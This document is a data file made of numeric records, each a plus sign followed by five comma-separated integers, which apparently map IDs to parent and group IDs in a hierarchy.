+6940,6883,6918,6940,0 +6941,6883,6918,6941,0 +6942,6883,6918,6942,0 +6943,6883,6918,6943,0 +6944,6883,6918,6944,0 +6945,6883,6918,6945,0 +6946,6883,6918,6946,0 +6947,6883,6918,6947,0 +6948,6883,6918,6948,0 +20199,6883,6918,20199,0 +20200,6883,6918,20200,0 +20201,6883,6918,20201,0 +20202,6883,6918,20202,0 +6950,6883,6949,6950,0 +6952,6883,6951,6952,0 +6954,6883,6953,6954,0 +6956,6883,6955,6956,0 +6957,6883,6955,6957,0 +6959,6883,6958,6959,0 +6960,6883,6958,6960,0 +6961,6883,6958,6961,0 +6963,6883,6962,6963,0 +6964,6883,6962,6964,0 +6965,6883,6962,6965,0 +6967,6883,6966,6967,0 +6969,6883,6968,6969,0 +6970,6883,6968,6970,0 +6971,6883,6968,6971,0 +6972,6883,6968,6972,0 +6973,6883,6968,6973,0 +6974,6883,6968,6974,0 +6975,6883,6968,6975,0 +6976,6883,6968,6976,0 +6977,6883,6968,6977,0 +6978,6883,6968,6978,0 +6979,6883,6968,6979,0 +6980,6883,6968,6980,0 +6981,6883,6968,6981,0 +6982,6883,6968,6982,0 +6983,6883,6968,6983,0 +6984,6883,6968,6984,0 +6985,6883,6968,6985,0 +6986,6883,6968,6986,0 +6987,6883,6968,6987,0 +6988,6883,6968,6988,0 +6989,6883,6968,6989,0 +6990,6883,6968,6990,0 +6991,6883,6968,6991,0 +6992,6883,6968,6992,0 +6993,6883,6968,6993,0 +6994,6883,6968,6994,0 +6995,6883,6968,6995,0 +6996,6883,6968,6996,0 +6997,6883,6968,6997,0 +6998,6883,6968,6998,0 +6999,6883,6968,6999,0 +7000,6883,6968,7000,0 +7001,6883,6968,7001,0 +7002,6883,6968,7002,0 +7003,6883,6968,7003,0 +7004,6883,6968,7004,0 +7005,6883,6968,7005,0 +7006,6883,6968,7006,0 +7007,6883,6968,7007,0 +7008,6883,6968,7008,0 +7009,6883,6968,7009,0 +7011,6883,7010,7011,0 +7013,6883,7012,7013,0 +18792,6883,18791,18792,0 +18793,6883,18791,18793,0 +18794,6883,18791,18794,0 +18795,6883,18791,18795,0 +7325,7323,7324,7325,0 +7326,7323,7324,7326,0 +7327,7323,7324,7327,0 +7328,7323,7324,7328,0 +7329,7323,7324,7329,0 +7330,7323,7324,7330,0 +7331,7323,7324,7331,0 +7333,7323,7332,7333,0 +7335,7323,7334,7335,0 +7336,7323,7334,7336,0 +7337,7323,7334,7337,0 +7338,7323,7334,7338,0 +7339,7323,7334,7339,0 +7340,7323,7334,7340,0 +7341,7323,7334,7341,0 +7342,7323,7334,7342,0 +7343,7323,7334,7343,0 +7344,7323,7334,7344,0 +7345,7323,7334,7345,0 +7347,7323,7346,7347,0 +7349,7323,7348,7349,0 +7350,7323,7348,7350,0 +7351,7323,7348,7351,0 +7352,7323,7348,7352,0 +7353,7323,7348,7353,0 +7354,7323,7348,7354,0 +7356,7323,7355,7356,0 +7357,7323,7355,7357,0 +7358,7323,7355,7358,0 +7359,7323,7355,7359,0 +7360,7323,7355,7360,0 +7362,7323,7361,7362,0 +7363,7323,7361,7363,0 +7364,7323,7361,7364,0 +7365,7323,7361,7365,0 +7366,7323,7361,7366,0 +7367,7323,7361,7367,0 +7368,7323,7361,7368,0 +7370,7323,7369,7370,0 +7371,7323,7369,7371,0 +7373,7323,7372,7373,0 +7374,7323,7372,7374,0 +7375,7323,7372,7375,0 +7376,7323,7372,7376,0 +7377,7323,7372,7377,0 +7378,7323,7372,7378,0 +7379,7323,7372,7379,0 +7380,7323,7372,7380,0 +7381,7323,7372,7381,0 +7383,7323,7382,7383,0 +7384,7323,7382,7384,0 +7385,7323,7382,7385,0 +7386,7323,7382,7386,0 +7387,7323,7382,7387,0 +7388,7323,7382,7388,0 +7389,7323,7382,7389,0 +7390,7323,7382,7390,0 +7392,7323,7391,7392,0 +7393,7323,7391,7393,0 +7394,7323,7391,7394,0 +7395,7323,7391,7395,0 +7397,7323,7396,7397,0 +7398,7323,7396,7398,0 +7399,7323,7396,7399,0 +7400,7323,7396,7400,0 +7401,7323,7396,7401,0 +7402,7323,7396,7402,0 +7403,7323,7396,7403,0 +7404,7323,7396,7404,0 +7405,7323,7396,7405,0 +7406,7323,7396,7406,0 +7407,7323,7396,7407,0 +7408,7323,7396,7408,0 +7409,7323,7396,7409,0 +7410,7323,7396,7410,0 +7412,7323,7411,7412,0 +7413,7323,7411,7413,0 +7414,7323,7411,7414,0 +7415,7323,7411,7415,0 +7416,7323,7411,7416,0 +7418,7323,7417,7418,0 +7419,7323,7417,7419,0 +7420,7323,7417,7420,0 +7421,7323,7417,7421,0 +7422,7323,7417,7422,0 +7423,7323,7417,7423,0 +7424,7323,7417,7424,0 +7425,7323,7417,7425,0 +7427,7323,7426,7427,0 +7429,7323,7428,7429,0 +7430,7323,7428,7430,0 +7431,7323,7428,7431,0 +7433,7323,7432,7433,0 +7434,7323,7432,7434,0 +7435,7323,7432,7435,0 +7436,7323,7432,7436,0 +7437,7323,7432,7437,0 +7438,7323,7432,7438,0 +7439,7323,7432,7439,0 +7440,7323,7432,7440,0 +7441,7323,7432,7441,0 +7442,7323,7432,7442,0 +7444,7323,7443,7444,0 +7445,7323,7443,7445,0 +7446,7323,7443,7446,0 +7447,7323,7443,7447,0 +7449,7323,7448,7449,0 +7451,7323,7450,7451,0 +7452,7323,7450,7452,0 +7453,7323,7450,7453,0 +7454,7323,7450,7454,0 +7456,7323,7455,7456,0 +7457,7323,7455,7457,0 +7459,7323,7458,7459,0 +7460,7323,7458,7460,0 +7462,7323,7461,7462,0 +7463,7323,7461,7463,0 +7464,7323,7461,7464,0 +7465,7323,7461,7465,0 +7467,7323,7466,7467,0 +7468,7323,7466,7468,0 +7469,7323,7466,7469,0 +7470,7323,7466,7470,0 +7471,7323,7466,7471,0 +7472,7323,7466,7472,0 +7473,7323,7466,7473,0 +7474,7323,7466,7474,0 +7475,7323,7466,7475,0 +7476,7323,7466,7476,0 +7477,7323,7466,7477,0 +7478,7323,7466,7478,0 +7479,7323,7466,7479,0 +7481,7323,7480,7481,0 +7482,7323,7480,7482,0 +7483,7323,7480,7483,0 +7484,7323,7480,7484,0 +7485,7323,7480,7485,0 +7486,7323,7480,7486,0 +7487,7323,7480,7487,0 +7488,7323,7480,7488,0 +7489,7323,7480,7489,0 +7490,7323,7480,7490,0 +7491,7323,7480,7491,0 +7492,7323,7480,7492,0 +7493,7323,7480,7493,0 +7494,7323,7480,7494,0 +7495,7323,7480,7495,0 +7496,7323,7480,7496,0 +7497,7323,7480,7497,0 +7498,7323,7480,7498,0 +7499,7323,7480,7499,0 +7500,7323,7480,7500,0 +7502,7323,7501,7502,0 +7503,7323,7501,7503,0 +7504,7323,7501,7504,0 +7505,7323,7501,7505,0 +7506,7323,7501,7506,0 +7507,7323,7501,7507,0 +7508,7323,7501,7508,0 +7509,7323,7501,7509,0 +7510,7323,7501,7510,0 +7511,7323,7501,7511,0 +7512,7323,7501,7512,0 +7513,7323,7501,7513,0 +7514,7323,7501,7514,0 +7721,7629,7630,7721,0 +7722,7629,7630,7722,0 +7723,7629,7631,7723,0 +7724,7629,7631,7724,0 +7725,7629,7632,7725,0 +7726,7629,7632,7726,0 +7727,7629,7632,7727,0 +7728,7629,7632,7728,0 +7729,7629,7632,7729,0 +7730,7629,7632,7730,0 +7731,7629,7632,7731,0 +7732,7629,7632,7732,0 +7733,7629,7632,7733,0 +7734,7629,7632,7734,0 +7735,7629,7632,7735,0 +7736,7629,7632,7736,0 +7737,7629,7632,7737,0 +7738,7629,7632,7738,0 +7739,7629,7632,7739,0 +7740,7629,7632,7740,0 +7741,7629,7632,7741,0 +7742,7629,7632,7742,0 +7743,7629,7632,7743,0 +7744,7629,7632,7744,0 +7745,7629,7632,7745,0 +7746,7629,7632,7746,0 +7747,7629,7632,7747,0 +7748,7629,7632,7748,0 +7749,7629,7632,7749,0 +7750,7629,7632,7750,0 +7751,7629,7632,7751,0 +7752,7629,7632,7752,0 +7753,7629,7632,7753,0 +7754,7629,7632,7754,0 +7755,7629,7632,7755,0 +7756,7629,7632,7756,0 +7757,7629,7632,7757,0 +7758,7629,7632,7758,0 +7759,7629,7632,7759,0 +7760,7629,7632,7760,0 +7761,7629,7632,7761,0 +7762,7629,7632,7762,0 +7763,7629,7632,7763,0 +7764,7629,7632,7764,0 +7765,7629,7632,7765,0 +7766,7629,7632,7766,0 +7767,7629,7632,7767,0 +7768,7629,7632,7768,0 +7769,7629,7632,7769,0 +7770,7629,7632,7770,0 +7771,7629,7632,7771,0 +7772,7629,7632,7772,0 +7773,7629,7632,7773,0 +7774,7629,7632,7774,0 +7775,7629,7632,7775,0 +7776,7629,7632,7776,0 +20111,7629,7632,20111,0 +20112,7629,7632,20112,0 +7783,7629,7633,7783,0 +7784,7629,7633,7784,0 +7785,7629,7633,7785,0 +7786,7629,7633,7786,0 +7787,7629,7633,7787,0 +7788,7629,7633,7788,0 +7789,7629,7633,7789,0 +7790,7629,7633,7790,0 +7791,7629,7633,7791,0 +7792,7629,7633,7792,0 +7793,7629,7633,7793,0 +7795,7629,7635,7795,0 +7777,7629,7638,7777,0 +7778,7629,7638,7778,0 +7779,7629,7638,7779,0 +7780,7629,7638,7780,0 +7781,7629,7638,7781,0 +7782,7629,7717,7782,0 +7794,7629,7718,7794,0 +7818,7639,7640,7818,0 +7820,7639,7640,7820,0 +7821,7639,7640,7821,0 +7822,7639,7640,7822,0 +7823,7639,7640,7823,0 +7824,7639,7640,7824,0 +7825,7639,7640,7825,0 +7826,7639,7640,7826,0 +7827,7639,7640,7827,0 +7828,7639,7640,7828,0 +7829,7639,7640,7829,0 +7830,7639,7640,7830,0 +7831,7639,7640,7831,0 +7832,7639,7640,7832,0 +7833,7639,7640,7833,0 +7834,7639,7640,7834,0 +7835,7639,7640,7835,0 +7836,7639,7640,7836,0 +7837,7639,7640,7837,0 +7838,7639,7640,7838,0 +7839,7639,7640,7839,0 +7840,7639,7640,7840,0 +7841,7639,7640,7841,0 +7842,7639,7640,7842,0 +7843,7639,7640,7843,0 +7844,7639,7640,7844,0 +7845,7639,7640,7845,0 +7846,7639,7640,7846,0 +7847,7639,7640,7847,0 +7848,7639,7640,7848,0 +7849,7639,7641,7849,0 +7850,7639,7641,7850,0 +7851,7639,7641,7851,0 +7852,7639,7641,7852,0 +7853,7639,7641,7853,0 +20113,7639,7641,20113,0 +7854,7639,7645,7854,0 +7855,7639,7645,7855,0 +7856,7639,7645,7856,0 +7857,7639,7645,7857,0 +7858,7639,7646,7858,0 +7859,7639,7646,7859,0 +7860,7639,7646,7860,0 +7861,7639,7646,7861,0 +20349,7639,7646,20349,0 +20350,7639,7646,20350,0 +7796,7639,7664,7796,0 +7797,7639,7664,7797,0 +7798,7639,7664,7798,0 +7799,7639,7664,7799,0 +7800,7639,7664,7800,0 +7801,7639,7664,7801,0 +7802,7639,7664,7802,0 +7803,7639,7664,7803,0 +7804,7639,7664,7804,0 +7805,7639,7664,7805,0 +7806,7639,7664,7806,0 +20126,7639,7664,20126,0 +20129,7639,7664,20129,0 +20130,7639,7664,20130,0 +20235,7639,7664,20235,0 +7816,7639,7677,7816,0 +7817,7639,7677,7817,0 +7807,7639,7719,7807,0 +7808,7639,7719,7808,0 +7809,7639,7719,7809,0 +7810,7639,7719,7810,0 +7811,7639,7719,7811,0 +7812,7639,7719,7812,0 +7813,7639,7719,7813,0 +7814,7639,7719,7814,0 +7815,7639,7719,7815,0 +7862,7639,7720,7862,0 +7863,7639,7720,7863,0 +7864,7639,7720,7864,0 +7865,7639,7720,7865,0 +7866,7639,7720,7866,0 +7867,7639,7720,7867,0 +7868,7639,7720,7868,0 +7869,7639,7720,7869,0 +7870,7639,7720,7870,0 +7871,7639,7720,7871,0 +7872,7639,7720,7872,0 +7873,7639,7720,7873,0 +7874,7639,7720,7874,0 +7875,7639,7720,7875,0 +7876,7639,7720,7876,0 +7877,7639,7720,7877,0 +7878,7639,7720,7878,0 +7879,7639,7720,7879,0 +7880,7639,7720,7880,0 +7881,7639,7720,7881,0 +7882,7639,7720,7882,0 +7883,7639,7720,7883,0 +7884,7639,7720,7884,0 +7885,7639,7720,7885,0 +7886,7639,7720,7886,0 +7887,7639,7720,7887,0 +7888,7639,7720,7888,0 +7889,7639,7720,7889,0 +7890,7639,7720,7890,0 +7891,7639,7720,7891,0 +7894,7639,7720,7894,0 +7896,7639,7720,7896,0 +7898,7639,7720,7898,0 +7899,7639,7720,7899,0 +7900,7639,7720,7900,0 +7901,7639,7720,7901,0 +7902,7639,7720,7902,0 +7903,7639,7720,7903,0 +7905,7639,7720,7905,0 +20131,7639,7720,20131,0 +8428,8172,8173,8428,0 +8429,8172,8174,8429,0 +8184,8172,8175,8184,0 +8185,8172,8175,8185,0 +8186,8172,8176,8186,0 +8187,8172,8176,8187,0 +8188,8172,8176,8188,0 +8189,8172,8176,8189,0 +8190,8172,8176,8190,0 +8191,8172,8176,8191,0 +8192,8172,8176,8192,0 +8193,8172,8176,8193,0 +8194,8172,8176,8194,0 +8195,8172,8176,8195,0 +8196,8172,8176,8196,0 +8197,8172,8176,8197,0 +8198,8172,8176,8198,0 +8199,8172,8176,8199,0 +8292,8172,8176,8292,0 +20203,8172,8176,20203,0 +20204,8172,8176,20204,0 +20207,8172,8176,20207,0 +8200,8172,8177,8200,0 +8201,8172,8177,8201,0 +8202,8172,8177,8202,0 +8203,8172,8177,8203,0 +8204,8172,8177,8204,0 +8205,8172,8177,8205,0 +8206,8172,8177,8206,0 +8207,8172,8177,8207,0 +8208,8172,8177,8208,0 +8209,8172,8178,8209,0 +8210,8172,8178,8210,0 +8211,8172,8178,8211,0 +8212,8172,8178,8212,0 +8213,8172,8178,8213,0 +8214,8172,8178,8214,0 +8215,8172,8179,8215,0 +8216,8172,8179,8216,0 +8430,8172,8180,8430,0 +8217,8172,8181,8217,0 +8218,8172,8181,8218,0 +8219,8172,8181,8219,0 +8220,8172,8181,8220,0 +8221,8172,8181,8221,0 +8222,8172,8181,8222,0 +8223,8172,8181,8223,0 +8224,8172,8181,8224,0 +8225,8172,8181,8225,0 +8226,8172,8181,8226,0 +8227,8172,8181,8227,0 +8228,8172,8181,8228,0 +8229,8172,8181,8229,0 +8230,8172,8181,8230,0 +8231,8172,8181,8231,0 +8232,8172,8181,8232,0 +8233,8172,8181,8233,0 +8234,8172,8181,8234,0 +8235,8172,8181,8235,0 +8236,8172,8181,8236,0 +8237,8172,8181,8237,0 +8238,8172,8181,8238,0 +8239,8172,8181,8239,0 +8240,8172,8181,8240,0 +8241,8172,8181,8241,0 +8242,8172,8181,8242,0 +8243,8172,8181,8243,0 +8244,8172,8182,8244,0 +8245,8172,8182,8245,0 +8246,8172,8182,8246,0 +8247,8172,8182,8247,0 +8248,8172,8182,8248,0 +8249,8172,8182,8249,0 +8250,8172,8182,8250,0 +8251,8172,8182,8251,0 +8252,8172,8182,8252,0 +8253,8172,8182,8253,0 +8254,8172,8182,8254,0 +8255,8172,8182,8255,0 +8256,8172,8182,8256,0 +8257,8172,8182,8257,0 +8258,8172,8182,8258,0 +8259,8172,8182,8259,0 +8260,8172,8182,8260,0 +8261,8172,8182,8261,0 +8262,8172,8182,8262,0 +8263,8172,8182,8263,0 +8264,8172,8182,8264,0 +8265,8172,8182,8265,0 +8266,8172,8182,8266,0 +8267,8172,8182,8267,0 +8268,8172,8182,8268,0 +8269,8172,8182,8269,0 +8270,8172,8182,8270,0 +8271,8172,8182,8271,0 +8272,8172,8182,8272,0 +8273,8172,8182,8273,0 +8274,8172,8182,8274,0 +8275,8172,8182,8275,0 +8276,8172,8182,8276,0 +8277,8172,8182,8277,0 +8278,8172,8182,8278,0 +8279,8172,8182,8279,0 +8280,8172,8182,8280,0 +8281,8172,8182,8281,0 +8282,8172,8182,8282,0 +8283,8172,8182,8283,0 +8284,8172,8182,8284,0 +8285,8172,8182,8285,0 +8286,8172,8182,8286,0 +8287,8172,8182,8287,0 +8288,8172,8182,8288,0 +8289,8172,8183,8289,0 +8290,8172,8183,8290,0 +8291,8172,8183,8291,0 +8463,8439,8440,8463,0 +8464,8439,8441,8464,0 +8465,8439,8442,8465,0 +8466,8439,8443,8466,0 +8467,8439,8444,8467,0 +8468,8439,8445,8468,0 +8469,8439,8446,8469,0 +8470,8439,8446,8470,0 +8471,8439,8446,8471,0 +8472,8439,8447,8472,0 +8473,8439,8447,8473,0 +8474,8439,8447,8474,0 +8475,8439,8447,8475,0 +8476,8439,8448,8476,0 +8477,8439,8449,8477,0 +8478,8439,8450,8478,0 +8479,8439,8451,8479,0 +8480,8439,8452,8480,0 +8481,8439,8453,8481,0 +8482,8439,8454,8482,0 +8483,8439,8455,8483,0 +8484,8439,8456,8484,0 +8485,8439,8457,8485,0 +8486,8439,8458,8486,0 +8487,8439,8458,8487,0 +20294,8439,8458,20294,0 +8488,8439,8459,8488,0 +8489,8439,8459,8489,0 +8490,8439,8459,8490,0 +8491,8439,8459,8491,0 +8492,8439,8459,8492,0 +8493,8439,8459,8493,0 +8494,8439,8459,8494,0 +8495,8439,8459,8495,0 +20295,8439,8459,20295,0 +8496,8439,8460,8496,0 +8497,8439,8461,8497,0 +8498,8439,8462,8498,0 +8505,8502,8503,8505,0 +8506,8502,8504,8506,0 +16543,8502,16538,16543,0 +16544,8502,16539,16544,0 +16545,8502,16540,16545,0 +16546,8502,16541,16546,0 +8524,8508,8510,8524,0 +20236,8508,8510,20236,0 +20237,8508,8510,20237,0 +20238,8508,8510,20238,0 +20243,8508,8510,20243,0 +20505,8508,8510,20505,0 +20506,8508,8510,20506,0 +20507,8508,8510,20507,0 +8525,8508,8511,8525,0 +8526,8508,8512,8526,0 +20244,8508,8512,20244,0 +20245,8508,8512,20245,0 +20246,8508,8512,20246,0 +8527,8508,8513,8527,0 +20247,8508,8513,20247,0 +20248,8508,8513,20248,0 +20249,8508,8513,20249,0 +8528,8508,8514,8528,0 +20250,8508,8514,20250,0 +20251,8508,8514,20251,0 +20252,8508,8514,20252,0 +8529,8508,8515,8529,0 +20253,8508,8515,20253,0 +20254,8508,8515,20254,0 +20255,8508,8515,20255,0 +20256,8508,8515,20256,0 +20257,8508,8515,20257,0 +8530,8508,8516,8530,0 +8531,8509,8517,8531,0 +20258,8509,8517,20258,0 +20508,8509,8517,20508,0 +20509,8509,8517,20509,0 +20510,8509,8517,20510,0 +20511,8509,8517,20511,0 +20512,8509,8517,20512,0 +8532,8509,8518,8532,0 +8533,8509,8519,8533,0 +20268,8509,8519,20268,0 +20269,8509,8519,20269,0 +20270,8509,8519,20270,0 +8534,8509,8520,8534,0 +20271,8509,8520,20271,0 +20351,8509,8520,20351,0 +8535,8509,8521,8535,0 +20272,8509,8521,20272,0 +20273,8509,8521,20273,0 +20274,8509,8521,20274,0 +8536,8509,8522,8536,0 +20276,8509,8522,20276,0 +20277,8509,8522,20277,0 +20278,8509,8522,20278,0 +20279,8509,8522,20279,0 +8537,8509,8523,8537,0 +8551,8538,8539,8551,0 +8552,8538,8540,8552,0 +8553,8538,8541,8553,0 +8554,8538,8542,8554,0 +8555,8538,8543,8555,0 +8556,8538,8543,8556,0 +8557,8538,8543,8557,0 +8558,8538,8543,8558,0 +8559,8538,8543,8559,0 +8560,8538,8543,8560,0 +8561,8538,8543,8561,0 +8562,8538,8544,8562,0 +8563,8538,8544,8563,0 +8564,8538,8544,8564,0 +8565,8538,8544,8565,0 +8566,8538,8544,8566,0 +8567,8538,8544,8567,0 +8568,8538,8544,8568,0 +8569,8538,8545,8569,0 +8570,8538,8546,8570,0 +8571,8538,8547,8571,0 +8572,8538,8548,8572,0 +8573,8538,8548,8573,0 +8574,8538,8548,8574,0 +8575,8538,8548,8575,0 +8576,8538,8548,8576,0 +8577,8538,8548,8577,0 +8578,8538,8548,8578,0 +8579,8538,8548,8579,0 +8580,8538,8548,8580,0 +8581,8538,8549,8581,0 +8582,8538,8550,8582,0 +20493,8538,20492,20493,0 +8609,8583,8584,8609,0 +8610,8583,8585,8610,0 +8611,8583,8586,8611,0 +8612,8583,8587,8612,0 +8613,8583,8588,8613,0 +8614,8583,8589,8614,0 +8615,8583,8590,8615,0 +8616,8583,8591,8616,0 +8617,8583,8592,8617,0 +8618,8583,8593,8618,0 +8619,8583,8594,8619,0 +8620,8583,8595,8620,0 +8621,8583,8596,8621,0 +8622,8583,8597,8622,0 +8623,8583,8598,8623,0 +8624,8583,8599,8624,0 +8625,8583,8600,8625,0 +8626,8583,8601,8626,0 +8627,8583,8602,8627,0 +8628,8583,8603,8628,0 +8629,8583,8604,8629,0 +8630,8583,8605,8630,0 +8631,8583,8606,8631,0 +8632,8583,8607,8632,0 +8633,8583,8608,8633,0 +8640,8634,8635,8640,0 +8641,8634,8635,8641,0 +8642,8634,8635,8642,0 +8643,8634,8635,8643,0 +8644,8634,8635,8644,0 +8645,8634,8635,8645,0 +8646,8634,8635,8646,0 +8647,8634,8635,8647,0 +8648,8634,8635,8648,0 +8649,8634,8635,8649,0 +8650,8634,8636,8650,0 +8651,8634,8636,8651,0 +8652,8634,8636,8652,0 +20362,8634,8636,20362,0 +8653,8634,8637,8653,0 +8654,8634,8637,8654,0 +8655,8634,8637,8655,0 +8656,8634,8637,8656,0 +8657,8634,8637,8657,0 +8658,8634,8637,8658,0 +8659,8634,8637,8659,0 +8660,8634,8637,8660,0 +8661,8634,8638,8661,0 +8662,8634,8639,8662,0 +8663,8634,8639,8663,0 +8664,8634,8639,8664,0 +8665,8634,8639,8665,0 +8666,8634,8639,8666,0 +8667,8634,8639,8667,0 +8668,8634,8639,8668,0 +8684,8669,8670,8684,0 +8685,8669,8671,8685,0 +8686,8669,8671,8686,0 +8687,8669,8671,8687,0 +8688,8669,8671,8688,0 +8689,8669,8671,8689,0 +8690,8669,8672,8690,0 +8691,8669,8673,8691,0 +8692,8669,8673,8692,0 +8693,8669,8673,8693,0 +8694,8669,8673,8694,0 +8695,8669,8674,8695,0 +8696,8669,8675,8696,0 +8697,8669,8675,8697,0 +8698,8669,8675,8698,0 +8699,8669,8676,8699,0 +8700,8669,8677,8700,0 +8701,8669,8678,8701,0 +8702,8669,8678,8702,0 +8703,8669,8678,8703,0 +8704,8669,8679,8704,0 +20468,8669,8679,20468,0 +20469,8669,8679,20469,0 +20470,8669,8679,20470,0 +20471,8669,8679,20471,0 +8705,8669,8680,8705,0 +8706,8669,8680,8706,0 +8707,8669,8680,8707,0 +8708,8669,8680,8708,0 +8709,8669,8680,8709,0 +8710,8669,8680,8710,0 +8711,8669,8680,8711,0 +8712,8669,8680,8712,0 +8713,8669,8680,8713,0 +8714,8669,8680,8714,0 +8715,8669,8680,8715,0 +8716,8669,8680,8716,0 +8717,8669,8681,8717,0 +8718,8669,8682,8718,0 +8719,8669,8683,8719,0 +8720,8669,8683,8720,0 +8864,8721,8738,8864,0 +8865,8721,8738,8865,0 +8866,8721,8738,8866,0 +8867,8721,8738,8867,0 +8868,8721,8738,8868,0 +8869,8721,8739,8869,0 +8870,8721,8739,8870,0 +8871,8721,8740,8871,0 +8872,8721,8740,8872,0 +8873,8721,8740,8873,0 +8874,8721,8740,8874,0 +8875,8721,8740,8875,0 +8876,8721,8740,8876,0 +8877,8721,8740,8877,0 +8878,8721,8740,8878,0 +8879,8721,8740,8879,0 +8880,8721,8740,8880,0 +8881,8721,8740,8881,0 +8883,8721,8740,8883,0 +8884,8721,8741,8884,0 +8885,8721,8741,8885,0 +8886,8721,8741,8886,0 +8887,8721,8741,8887,0 +8888,8721,8741,8888,0 +8889,8721,8741,8889,0 +8890,8721,8741,8890,0 +8891,8721,8741,8891,0 +8892,8721,8741,8892,0 +8893,8721,8741,8893,0 +8894,8721,8741,8894,0 +8895,8721,8741,8895,0 +8896,8721,8741,8896,0 +8897,8721,8741,8897,0 +8898,8721,8741,8898,0 +8899,8721,8741,8899,0 +8900,8721,8741,8900,0 +8901,8721,8742,8901,0 +8902,8721,8742,8902,0 +8903,8721,8742,8903,0 +8904,8721,8742,8904,0 +8905,8721,8743,8905,0 +8906,8721,8743,8906,0 +8907,8721,8743,8907,0 +8908,8721,8743,8908,0 +8909,8721,8744,8909,0 +8910,8721,8745,8910,0 +8911,8721,8745,8911,0 +8912,8721,8745,8912,0 +8913,8721,8745,8913,0 +8914,8721,8745,8914,0 +8915,8721,8746,8915,0 +8916,8721,8747,8916,0 +8917,8721,8747,8917,0 +8918,8721,8747,8918,0 +8919,8721,8747,8919,0 +8920,8721,8747,8920,0 +8921,8721,8747,8921,0 +8922,8721,8748,8922,0 +8923,8721,8749,8923,0 +8924,8721,8749,8924,0 +8925,8721,8749,8925,0 +8926,8721,8749,8926,0 +8927,8721,8749,8927,0 +8928,8721,8749,8928,0 +8929,8721,8749,8929,0 +8930,8721,8749,8930,0 +8931,8721,8750,8931,0 +8932,8721,8750,8932,0 +8933,8721,8750,8933,0 +8934,8721,8750,8934,0 +8935,8721,8750,8935,0 +8936,8721,8750,8936,0 +8937,8721,8750,8937,0 +8938,8721,8750,8938,0 +8939,8721,8750,8939,0 +8940,8721,8750,8940,0 +8941,8721,8750,8941,0 +8942,8721,8751,8942,0 +8943,8721,8752,8943,0 +8944,8721,8753,8944,0 +8945,8721,8753,8945,0 +8946,8721,8753,8946,0 +8947,8721,8754,8947,0 +8948,8721,8754,8948,0 +8949,8722,8755,8949,0 +8950,8722,8756,8950,0 +8951,8722,8757,8951,0 +8952,8722,8758,8952,0 +8953,8723,8759,8953,0 +8954,8723,8759,8954,0 +8955,8723,8759,8955,0 +8956,8723,8759,8956,0 +8957,8723,8759,8957,0 +8958,8723,8759,8958,0 +8959,8723,8759,8959,0 +8960,8723,8759,8960,0 +8961,8723,8759,8961,0 +8962,8723,8760,8962,0 +8963,8723,8760,8963,0 +8964,8723,8760,8964,0 +8965,8723,8761,8965,0 +8966,8723,8761,8966,0 +8967,8723,8761,8967,0 +8968,8723,8761,8968,0 +8969,8723,8761,8969,0 +8970,8723,8762,8970,0 +8971,8723,8763,8971,0 +8972,8723,8763,8972,0 +8973,8723,8763,8973,0 +8974,8723,8764,8974,0 +8975,8723,8765,8975,0 +8976,8723,8765,8976,0 +8977,8723,8765,8977,0 +8978,8723,8765,8978,0 +8979,8723,8765,8979,0 +8980,8723,8765,8980,0 +8981,8723,8765,8981,0 +8982,8723,8765,8982,0 +8983,8723,8765,8983,0 +8984,8723,8765,8984,0 +8985,8723,8765,8985,0 +8986,8723,8765,8986,0 +8987,8723,8766,8987,0 +8988,8723,8766,8988,0 +8989,8723,8766,8989,0 +8990,8723,8766,8990,0 +8991,8723,8766,8991,0 +8992,8723,8767,8992,0 +8993,8723,8767,8993,0 +8994,8723,8767,8994,0 +8995,8723,8767,8995,0 +8996,8723,8768,8996,0 +8997,8724,8769,8997,0 +8998,8724,8769,8998,0 +8999,8724,8769,8999,0 +9000,8724,8769,9000,0 +9001,8724,8769,9001,0 +9002,8724,8769,9002,0 +9003,8724,8769,9003,0 +9004,8724,8769,9004,0 +9005,8724,8769,9005,0 +9006,8724,8769,9006,0 +20104,8724,8769,20104,0 +9007,8724,8770,9007,0 +9008,8724,8770,9008,0 +9009,8724,8770,9009,0 +9010,8724,8771,9010,0 +9011,8724,8771,9011,0 +9012,8724,8771,9012,0 +9013,8724,8771,9013,0 +9014,8725,8772,9014,0 +9015,8725,8772,9015,0 +9016,8725,8773,9016,0 +9017,8725,8774,9017,0 +9018,8725,8775,9018,0 +9019,8725,8776,9019,0 +9020,8725,8777,9020,0 +9022,8725,8779,9022,0 +9023,8725,8779,9023,0 +9024,8725,8780,9024,0 +9025,8725,8781,9025,0 +9026,8725,8782,9026,0 +9027,8725,8782,9027,0 +9028,8725,8783,9028,0 +9029,8725,8783,9029,0 +9030,8725,8783,9030,0 +9031,8725,8783,9031,0 +9032,8725,8783,9032,0 +9033,8725,8783,9033,0 +9034,8725,8783,9034,0 +9035,8725,8783,9035,0 +9036,8725,8783,9036,0 +9037,8725,8783,9037,0 +9038,8725,8784,9038,0 +9039,8725,8784,9039,0 +9040,8725,8784,9040,0 +9041,8725,8784,9041,0 +9042,8725,8784,9042,0 +15542,8725,15541,15542,0 +9043,8726,8785,9043,0 +9044,8726,8785,9044,0 +9045,8726,8785,9045,0 +9046,8726,8785,9046,0 +9047,8726,8785,9047,0 +9048,8726,8785,9048,0 +9049,8726,8785,9049,0 +9050,8726,8785,9050,0 +20363,8726,8785,20363,0 +9051,8726,8786,9051,0 +9052,8726,8786,9052,0 +9053,8726,8786,9053,0 +9054,8726,8786,9054,0 +9055,8726,8786,9055,0 +9056,8726,8786,9056,0 +9057,8726,8786,9057,0 +9058,8726,8786,9058,0 +9059,8726,8787,9059,0 +9060,8726,8787,9060,0 +9061,8726,8787,9061,0 +9062,8726,8787,9062,0 +9063,8726,8787,9063,0 +9064,8726,8787,9064,0 +9065,8726,8787,9065,0 +9066,8726,8787,9066,0 +9067,8726,8787,9067,0 +20364,8726,8787,20364,0 +9068,8726,8788,9068,0 +9069,8726,8788,9069,0 +9070,8726,8788,9070,0 +9071,8726,8788,9071,0 +20365,8726,8788,20365,0 +9072,8726,8789,9072,0 +9073,8726,8789,9073,0 +9074,8726,8789,9074,0 +9075,8726,8789,9075,0 +9076,8726,8789,9076,0 +9077,8726,8789,9077,0 +9078,8726,8789,9078,0 +9079,8726,8789,9079,0 +9080,8726,8789,9080,0 +9081,8726,8789,9081,0 +9082,8726,8789,9082,0 +9083,8726,8789,9083,0 +20366,8726,8789,20366,0 +20367,8726,8789,20367,0 +20368,8726,8789,20368,0 +9084,8726,8790,9084,0 +9085,8726,8790,9085,0 +9086,8726,8790,9086,0 +9087,8726,8790,9087,0 +20369,8726,8790,20369,0 +9088,8727,8791,9088,0 +9090,8727,8793,9090,0 